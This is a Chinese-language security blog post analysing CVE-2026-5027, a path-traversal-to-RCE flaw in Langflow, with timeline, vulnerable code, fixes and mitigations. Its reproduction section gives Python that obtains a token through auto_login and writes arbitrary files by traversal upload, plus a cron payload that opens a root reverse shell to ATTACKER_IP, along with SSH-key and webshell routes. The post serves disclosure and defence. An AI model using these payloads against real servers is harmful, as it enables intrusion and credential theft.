AI测试 CVE-2026-5027 | Langflow 路径遍历→未授权 RCE:当 AI 工作流的文件访问没有边界

匠测AI说 · 2026年08月19日 · 27 次阅读

⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级: CVSS 8.8(GitHub 安全公告评级 9.9,严重)
影响版本: Langflow <= 1.8.4
修复版本: Langflow >= 1.9.0
漏洞类型: 路径遍历导致任意文件写入 → 远程代码执行(RCE)
CVE 编号: CVE-2026-5027
影响范围: 所有公网暴露且启用 auto‑login(默认配置)的 Langflow 实例,Censys 数据显示约 7000 台
利用状态: 🔴 已在野外被主动利用(VulnCheck 2026‑06‑09 确认)
当前状态: ✅ 已修复(v1.9.0,2026‑04‑15 发布)


一、漏洞背景

1.1 Langflow 是什么

Langflow 是一个开源低代码 AI 工作流构建平台,GitHub 星标超过 15 万,企业版由 IBM 支持。它提供拖拽式界面,让用户把大语言模型、向量数据库、自定义 Python 组件和外部 API 连接成生产级 Agent 流水线。

因为门槛低、支持多 Agent 架构,Langflow 从初创公司到大型企业都有部署。但也正因为它处在代码执行、外部 API 访问和企业数据的交汇处,攻击面比普通 Web 应用大得多——一台 Langflow 服务器上通常跑着 LLM API 密钥、向量数据库凭据、RAG 文档库和专有的 AI 工作流逻辑。

1.2 这不是 Langflow 第一次出事

2026 年以来,Langflow 已经披露了多个高危漏洞:

CVE 编号 CVSS 类型 状态
CVE-2025-34291 - RCE 被伊朗 APT 组织 MuddyWater 武器化利用,已列入 CISA KEV
CVE-2026-21445 - 认证绕过 攻击者无需凭据访问 AI 工作流和用户数据
CVE-2026-33017 9.3 未授权 RCE 披露后 20 小时内即被利用,初始补丁未完全修复
CVE-2026-5027 8.8 路径遍历→RCE 本文主角,VulnCheck 确认野外利用

CVE-2026-5027 不是一个孤立的代码缺陷,而是这条被持续攻击的攻击面上的最新入口。

1.3 漏洞发现与披露时间线

时间 事件
2026-01~02 Tenable Research 研究员发现漏洞,三次尝试联系 Langflow 维护者,未获回应
2026-03-18 GitHub 安全公告 GHSA-g2j9-7rj2-gm6c 发布
2026-03-27 Tenable 公开发布漏洞详情( advisory TRA-2026-26)
2026-04-15 Langflow v1.9.0 发布,包含修复
2026-06-09 VulnCheck 蜜罐确认野外利用,攻击者成功写入测试文件
2026-06-10 The Hacker News 等媒体大规模报道
2026-06-11 Cloud Security Alliance 发布研究报告,Censys 数据显示约 7000 台实例暴露

注意一个关键时间差:补丁 4 月 15 日就发布了,但野外利用 6 月 9 日才被确认。 这意味着有将近两个月的窗口期,大量实例没有及时更新。


二、漏洞原理

2.1 两个层面的防御同时失效

漏洞存在于两个层面,每一层都犯了经典错误:

第一层:API 层(src/backend/base/langflow/api/v2/files.py

upload_user_file() 函数从 multipart 表单的Content-Disposition头中直接提取文件名,原样传递给存储服务,没有任何净化:

# 问题代码(简化)
@router.post("/")
async def upload_user_file(file: UploadFile, ...):
    # ❌ file.filename 直接来自HTTP请求,未经任何处理
    new_filename = file.filename
    # 原样传给存储服务
    file_path = await storage_service.save_file(
        flow_id=flow_id,
        file_name=new_filename,  # ← 攻击者控制的数据
        data=await file.read()
    )

这里有一个讽刺的细节:Langflow 确实有一个ValidatedFileName组件用于校验文件名,但它只校验 URL 路径参数,不校验 multipart 上传的文件名。HTTP 层的防御形同虚设。

第二层:存储层(src/backend/base/langflow/services/storage/local.py

LocalStorageService.save_file() 使用朴素的路径拼接,没有边界检查:

# 问题代码(简化)
class LocalStorageService:
    async def save_file(self, flow_id, file_name, data):
        folder_path = self.data_dir / flow_id
        # ❌ 朴素拼接,不检查解析后的路径是否仍在base_dir内
        file_path = folder_path / file_name  # ← 攻击者控制的file_name

        async with aiofiles.open(str(file_path), "wb") as f:
            await f.write(data)

folder_path / file_name 这种写法,当file_name包含../../序列时,pathlib会正常解析路径遍历,跳出预期的上传目录。

正确做法应该是:

# 修复方案:canonical path containment check
file_path = (folder_path / file_name).resolve()
if not file_path.is_relative_to(folder_path.resolve()):
    raise HTTPException(status_code=400, detail="Invalid file name")

2.2 默认 auto-login 让漏洞变成"零认证"

如果漏洞需要登录才能利用,风险还可控。但 Langflow 默认启用了 auto-login:

  • 当没有显式配置用户账户时(开发/测试环境的常态,部分生产环境也有),应用不要求认证
  • 攻击者只需向 /api/v1/auto_login 发送一个 GET 请求,就能拿到有效的 JWT token
  • 拿着 token 直接访问 /api/v2/files 上传文件
# 获取token——不需要任何凭据
r = requests.get(f"{target}/api/v1/auto_login", verify=False)
token = r.json().get("access_token")

# 拿着token上传文件,文件名里带上路径遍历
headers = {"Authorization": f"Bearer {token}"}
traversal = "../../../../"  # 跳出上传目录
filename = traversal + "etc/cron.d/backdoor"
files = {"file": (filename, cron_payload, "application/octet-stream")}
requests.post(f"{target}/api/v2/files", headers=headers, files=files)

整个攻击链不需要密码、不需要社会工程、不需要零日。一个 HTTP 请求拿 token,第二个 HTTP 请求写文件,完事。

2.3 从任意文件写入到 RCE 的三条路径

任意文件写入本身是高危原语,但要变成 RCE,需要找到一个"写入后自动执行"的位置。攻击者有三条成熟路径:

路径一:Cron 任务注入(最常用,root 权限)

# 写入 /etc/cron.d/backdoor
# 内容:
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

系统 cron 每分钟以 root 权限执行该任务,约 60 秒内攻击者收到反弹 shell。如果 Langflow 本身以 root 运行(容器化部署中常见),写入直接成功。

路径二:SSH 公钥覆盖

写入路径:/root/.ssh/authorized_keys
内容:攻击者的SSH公钥

写入后攻击者直接用 SSH 私钥登录服务器。

路径三:Webshell 植入

写入路径:Langflow静态资源目录或其他web可访问目录
内容:Python/PHP webshell

通过 HTTP 请求直接触发代码执行。

2.4 完整攻击数据流

阶段1:获取Token(零认证)
  GET /api/v1/auto_login
       ↓
  返回有效JWT access_token
       ↓
阶段2:路径遍历文件上传
  POST /api/v2/files
  Content-Disposition: filename="../../../../etc/cron.d/backdoor"
  Body: * * * * * root bash -c '反弹shell命令'
       ↓
  upload_user_file()  [未净化file.filename]
       ↓
  LocalStorageService.save_file()  [无边界检查]
       ↓
  folder_path / "../../../../etc/cron.d/backdoor"
  → 解析为 /etc/cron.d/backdoor
       ↓
  文件写入成功,返回201
       ↓
阶段3:触发执行
  系统cron(每分钟,root权限)
       ↓
  执行反弹shell命令
       ↓
  💀 攻击者获得root shell
       ↓
  - LLM API密钥泄露
  - 向量数据库凭据泄露
  - RAG文档库暴露
  - 工作流逻辑泄露
  - 内网横向移动跳板

核心问题:这不是什么高深的 AI 安全漏洞。它是一个教科书级的路径遍历——2026 年了,OWASP Top 10 里的 A05(安全配置错误)和 A01(访问控制失效)依然在 AI 框架里活着。


三、模拟复现

以下基于 Tenable 公开报告和 GitHub PoC 的概念验证教学示意。所有代码仅为理解漏洞原理,不构成直接可用的攻击工具。请仅在自己的测试环境中验证。

环境准备

  • 测试环境:本地 Docker 部署的 Langflow v1.8.4
  • 启动命令:docker run -p 7860:7860 langflowai/langflow:1.8.4
  • 默认配置:auto-login 启用,无需设置账户

Step 1:验证 auto-login 可获取 Token

import requests

TARGET = "http://localhost:7860"

# 无需任何凭据,直接获取token
r = requests.get(f"{TARGET}/api/v1/auto_login", timeout=10)
token = r.json().get("access_token")
print(f"[+] Got token: {token[:20]}...")

如果返回了 token,说明目标使用默认配置,漏洞可被未授权利用。

Step 2:构造路径遍历上传

def write_arbitrary_file(target, token, remote_path, content):
    headers = {"Authorization": f"Bearer {token}"}

    # 构造路径遍历:9层../足以跳出Langflow的UUID存储目录
    traversal = "../../../../../../../"
    filename = traversal + remote_path.lstrip("/")

    files = {
        "file": (filename, content, "application/octet-stream")
    }

    r = requests.post(
        f"{target}/api/v2/files",
        headers=headers,
        files=files,
        timeout=15
    )
    return r.status_code in (200, 201), r

Step 3:写入测试文件验证路径遍历

# 先写一个无害的测试文件到/tmp,验证路径遍历是否成功
success, resp = write_arbitrary_file(
    TARGET,
    token,
    "/tmp/cve_2026_5027_test.txt",
    b"CVE-2026-5027-PATH-TRAVERSAL-PROOF"
)
print(f"[+] Upload status: {resp.status_code}")
# 返回201 Created说明写入成功

# 在Docker容器内验证:
# docker exec <container_id> cat /tmp/cve_2026_5027_test.txt
# 应输出:CVE-2026-5027-PATH-TRAVERSAL-PROOF

Step 4:通过 Cron 注入实现 RCE(概念示意)

# ⚠️ 仅为理解攻击原理,请勿在未授权系统上执行

# 构造cron任务:每分钟反弹shell到攻击者服务器
cron_payload = b"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n"

success, resp = write_arbitrary_file(
    TARGET,
    token,
    "/etc/cron.d/backdoor",  # 系统cron目录
    cron_payload
)

# 如果Langflow以root运行,写入成功后约60秒:
# 攻击者在ATTACKER_IP:4444监听 → 收到root shell
# nc -lvnp 4444

Step 5:被控后的影响评估

资产类别 具体内容 危害等级
🔴 LLM API 密钥 OpenAI、Anthropic、Google 等所有配置的 Key 密钥泄露 + 巨额账单
🔴 向量数据库凭据 Pinecone、Weaviate、Milvus 等连接凭据 RAG 知识库泄露
🔴 工作流逻辑 企业专有的 Agent 编排逻辑、业务规则 商业机密泄露
🔴 文档与数据源 RAG 索引的企业文档、客户数据 数据泄露 + 合规风险
🔴 云环境凭据 容器绑定的 IAM 角色、环境变量中的密钥 云账户接管
🟡 内网横向移动 以服务器身份访问内网其他系统 整个内网沦陷
🟡 持久化后门 在工作流中植入恶意 Python 组件 长期潜伏

💡 风险本质: Langflow 不是一个普通的笔记应用或表单工具。它直接连接 LLM API、向量数据库、外部 API 和企业数据源。攻破 Langflow,等于拿到了企业 AI 基础设施的万能钥匙。

四、修复记录

4.1 官方修复

修复版本:Langflow >= 1.9.0(2026-04-15 发布)

GitHub 安全公告 GHSA-g2j9-7rj2-gm6c 给出的推荐修复方案包含两层:

第一层:净化 multipart 文件名

from pathlib import Path as StdPath

# 只取文件名部分,自动剥离所有路径字符
new_filename = StdPath(file.filename or "").name

# 二次校验:确保不含路径遍历序列
if not new_filename or "../" in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

第二层:存储层边界检查(防御纵深)

class LocalStorageService:
    async def save_file(self, flow_id, file_name, data):
        folder_path = self.data_dir / flow_id
        file_path = (folder_path / file_name).resolve()

        # ✅ 核心修复:确认解析后的路径仍在预期目录内
        if not file_path.is_relative_to(folder_path.resolve()):
            raise PermissionError("Path traversal detected")

        async with aiofiles.open(str(file_path), "wb") as f:
            await f.write(data)

修复的关键在于两层都做了防护——API 层净化输入,存储层验证边界。即使第一层被绕过(比如新的编码方式),第二层也能拦住。

4.2 运营方自救清单

如果你正在使用 Langflow,请立即执行:

优先级 操作 说明
🔴 P0 检查版本 确认是否 <= 1.8.4,如果是立即升级到 >= 1.9.0
🔴 P0 关闭 auto-login 设置环境变量 LANGFLOW_AUTO_LOGIN=false,这是最关键的缓解措施
🔴 P0 网络隔离 Langflow 不应直接暴露公网,放在反向代理/防火墙后,限制可信 IP 访问
🟡 P1 非 root 运行 Docker 部署时指定非特权用户:--user 1000:1000,防止写入系统目录
🟡 P1 轮换所有密钥 如果实例曾暴露公网,轮换所有 LLM API Key、数据库凭据、第三方 Token
🟡 P1 检查入侵痕迹 审计 /etc/cron.d//root/.ssh/authorized_keys、web 目录是否有异常文件
🟡 P1 WAF 规则 在反向代理层阻断对 /api/v2/files 的异常 POST 请求(含 ../ 的文件名)
🟢 P2 容器安全 使用只读文件系统、drop capabilities、禁用特权模式
🟢 P2 运行时监控 部署 Falco 等工具监控容器内异常进程执行和文件写入
🟢 P2 日志审计 检查访问日志中是否有 auto_login 和异常文件上传请求

4.3 临时缓解(无法立即升级时)

如果暂时无法升级到 1.9.0,以下措施可以显著降低风险:

# 1. 关闭auto-login(最有效)
export LANGFLOW_AUTO_LOGIN=false

# 2. Nginx层阻断包含路径遍历的文件上传
location /api/v2/files {
    # 拒绝filename中包含../的请求
    if ($query_string ~ "\.\.\/") { return 403; }

    # IP白名单(仅允许办公网IP)
    allow 10.0.0.0/8;
    deny all;

    proxy_pass http://langflow:7860;
}

# 3. Docker以非root用户运行
docker run --user 1000:1000 \
  --read-only \
  --cap-drop=ALL \
  -p 7860:7860 \
  langflowai/langflow:1.8.4

五、总结与思考

5.1 这个漏洞为什么值得关注?

第一,它太简单了。 路径遍历是 Web 安全的基础知识,OSCP 认证考试里都有。但就是这么一个"低级"漏洞,存在于一个 GitHub 15 万星、IBM 背书的企业级 AI 平台里,而且默认配置下无需认证即可利用。这说明 AI 框架的安全成熟度和它们的流行度严重不匹配。

第二,它不是孤例。 从 CVE-2025-34291 被伊朗 APT 武器化,到 CVE-2026-33017 披露 20 小时即被扫描利用,再到 CVE-2026-5027 的 7000 台暴露实例,Langflow 在 2026 年几乎成了攻击者的提款机。这不是某一个开发者的疏忽,而是整个 AI 工具链"功能优先、安全靠后"文化的缩影。

第三,补丁和利用之间有两个月的时间差。 v1.9.0 在 4 月 15 日就修了,但 6 月 9 日 VulnCheck 才确认野外利用。这两个月里,大量部署者完全不知道自己跑着一个有 RCE 漏洞的实例。AI 工具的使用者往往不是安全团队,而是算法工程师和数据科学家——他们可能根本不订阅 CVE 通知。

5.2 对 AI 开发者的警示

  1. 默认配置是最危险的配置。 auto-login 方便了开发,但当"临时测试"变成"生产环境"时,谁还记得关掉它?安全默认值(secure by default)不是可选项,是底线。

  2. 文件名是用户输入,不是可信数据。 任何来自 HTTP 请求的数据——URL 参数、Header、Body、multipart 文件名——都是攻击者可控的。Content-Disposition头里的filename字段尤其容易被忽略,因为很多框架把它封装成了"文件名"的样子,让人误以为它是安全的。

  3. 路径拼接必须做边界检查。 2026 年了,folder_path / user_supplied_name 之后不做 resolve().is_relative_to() 检查,等同于不锁门。这不是语言或框架的问题,是编码习惯的问题。

  4. 防御纵深不是口号。 API 层校验文件名,存储层再做一次边界检查——两层都防护,任何一层被绕过另一层还能拦住。Langflow 的问题在于两层都没有。

  5. AI 平台是高价值目标。 一台 Langflow 服务器上跑着 LLM API 密钥(直接等于钱)、客户数据、业务逻辑和云凭据。攻击者拿到的不只是一台服务器,是整个 AI 业务的信任根基。把 AI 平台当成关键基础设施来防护,而不是当成"开发工具"随便放。

AI 安全的战场不只是模型输出。框架、依赖、配置、部署——这些传统安全领域的欠账,在 AI 时代被加倍放大了。


参考资料

暂无回复。
需要 登录 后方可回复, 如果你还没有账号请点击这里 注册